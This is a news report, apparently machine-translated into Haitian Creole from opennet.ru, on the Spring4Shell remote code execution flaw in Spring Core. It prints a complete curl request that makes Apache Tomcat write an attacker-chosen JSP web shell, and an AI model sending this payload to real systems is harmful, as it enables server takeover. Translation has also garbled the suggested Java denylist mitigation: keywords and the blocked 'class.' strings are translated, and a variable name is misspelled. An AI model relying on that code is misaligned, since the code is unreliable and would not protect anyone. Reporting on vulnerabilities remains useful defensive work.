Kritik vilnerabilite 0-jou nan Spring Framework, yo itilize nan anpil pwojè Java

Yo te idantifye yon vilnerabilite kritik 0-jou nan modil Spring Core, apwovizyone kòm yon pati nan Spring Framework, ki pèmèt yon atakè adistans san otantifye egzekite kòd sou sèvè a. Li poko klè ki jan katastwofik konsekans yo nan pwoblèm nan idantifye yo ka epi si atak yo pral masiv tankou nan ka a nan vilnerabilite nan Log4j 2. Yo te vilnerabilite a kod Spring4Shell, men yon idantifyan CVE poko te asiyen. Nan kad prentan an, pwoblèm nan rete san solisyon ak plizyè pwototip eksplwatasyon k ap travay yo deja disponib sou entènèt (1, 2, 3, 4). Akonpaye pwoblèm nan, anpil aplikasyon Java antrepriz ki baze sou Spring Framework kouri kòm rasin ak vilnerabilite a pèmèt sistèm nan konplètman konpwomèt.

Dapre kèk estimasyon, yo itilize modil Spring Core nan 74% aplikasyon Java yo. Danje vilnerabilite a redwi pa lefèt ke sèlman aplikasyon ki sèvi ak "@RequestMapping" anotasyon lè konekte moun kap okipe demann ak paramèt fòm entènèt obligatwa nan fòma "non = valè" (POJO, Plain Old Java Object) yo fasil pou atake. , olye pou yo itilize JSON/XML.

Li poko klè ki aplikasyon Java ak kad ki afekte nan pwoblèm nan. Vilnerabilite a bloke ajoute jaden "klas", "modil" ak "classLoader" nan lis nwa a oswa lè l sèvi avèk yon lis blan klè nan jaden ki pèmèt yo. Eksplwatasyon vilnerabilite a posib sèlman lè w ap itilize Java/JDK 9 oswa yon nouvo vèsyon. Pwoblèm nan te koze pa posiblite pou kontoune pwoteksyon kont vilnerabilite CVE-2010-1622, fiks nan Spring Framework tounen nan 2010 ak ki asosye ak ekzekisyon an nan classLoader okipe a lè analize paramèt demann.

Eksplwatasyon an travay pa voye yon demann ak paramèt yo "class.module.classLoader.resources.context.parent.pipeline.first.*", pwosesis la nan ki mennen nan kreyasyon an nan yon dosye jsp nan anviwònman an rasin Apache Tomcat ak ekri. kòd atakè a espesifye nan dosye sa a. Fichye kreye a vin disponib pou demann dirèk epi yo ka itilize kòm yon koki entènèt. Pou atake yon aplikasyon vilnerab nan anviwònman Apache Tomcat, li ase pou voye yon demann ak sèten paramèt lè l sèvi avèk sèvis piblik boukl la. curl -v -d "class.module.classLoader.resources.context.parent.pipeline .first.pattern=kod_pou_insere_nan_fichye &class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp &class.module.classLoader .resources.context.parent.pipeline.first.directory=webapps/ROOT &class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar &class.module.classLoader.resources.context.parent.pipeline.first .fileDateFormat=" http://localhost:8080/springmvc5-helloworld-exmaple-0.0.1-SNAPSHOT/rapid7

Pwoblèm nan Spring Core pa ta dwe konfonn ak vilnerabilite ki fèk idantifye CVE-2022-22963 ak CVE-2022-22950. Premye pwoblèm nan afekte pake Spring Cloud epi li te fikse nan degaje 3.1.7 ak 3.2.3. Dezyèm pwoblèm nan prezan nan Spring Expression epi li fikse nan Spring Framework 5.3.17. Sa yo se fondamantalman frajilite diferan. Devlopè yo Spring Framework poko fè okenn deklarasyon sou nouvo vilnerabilite a epi yo pa pibliye yon ranje.

Kòm yon mezi tanporè pou pwoteksyon, li rekòmande pou itilize yon lis nwa paramèt demann envalid nan kòd ou a: import org.springframework.core.Ordered; enpòte org.springframework.core.annotation.Order; enpòte org.springframework.web.bind.WebDataBinder; enpòte org.springframework.web.bind.annotation.ControllerAdvice; enpòte org.springframework.web.bind.annotation.InitBinder; @ControllerAdvice @Order(10000) klas piblik BinderControllerAdvice { @InitBinder public void setAllowedFields(WebDataBinder dataBinder) { String[] denylist = nouvo String[]{"klas.", "Klas.", ".klas.", ".Klas ."}; dataBinder.setDisallowedFields(denilist); } }

Sous: opennet.ru

Achte hosting serye pou sit ki gen pwoteksyon DDoS, sèvè VPS VDS 🔥 Achte yon hébergement sit entènèt serye ak pwoteksyon DDoS, sèvè VPS VDS | ProHoster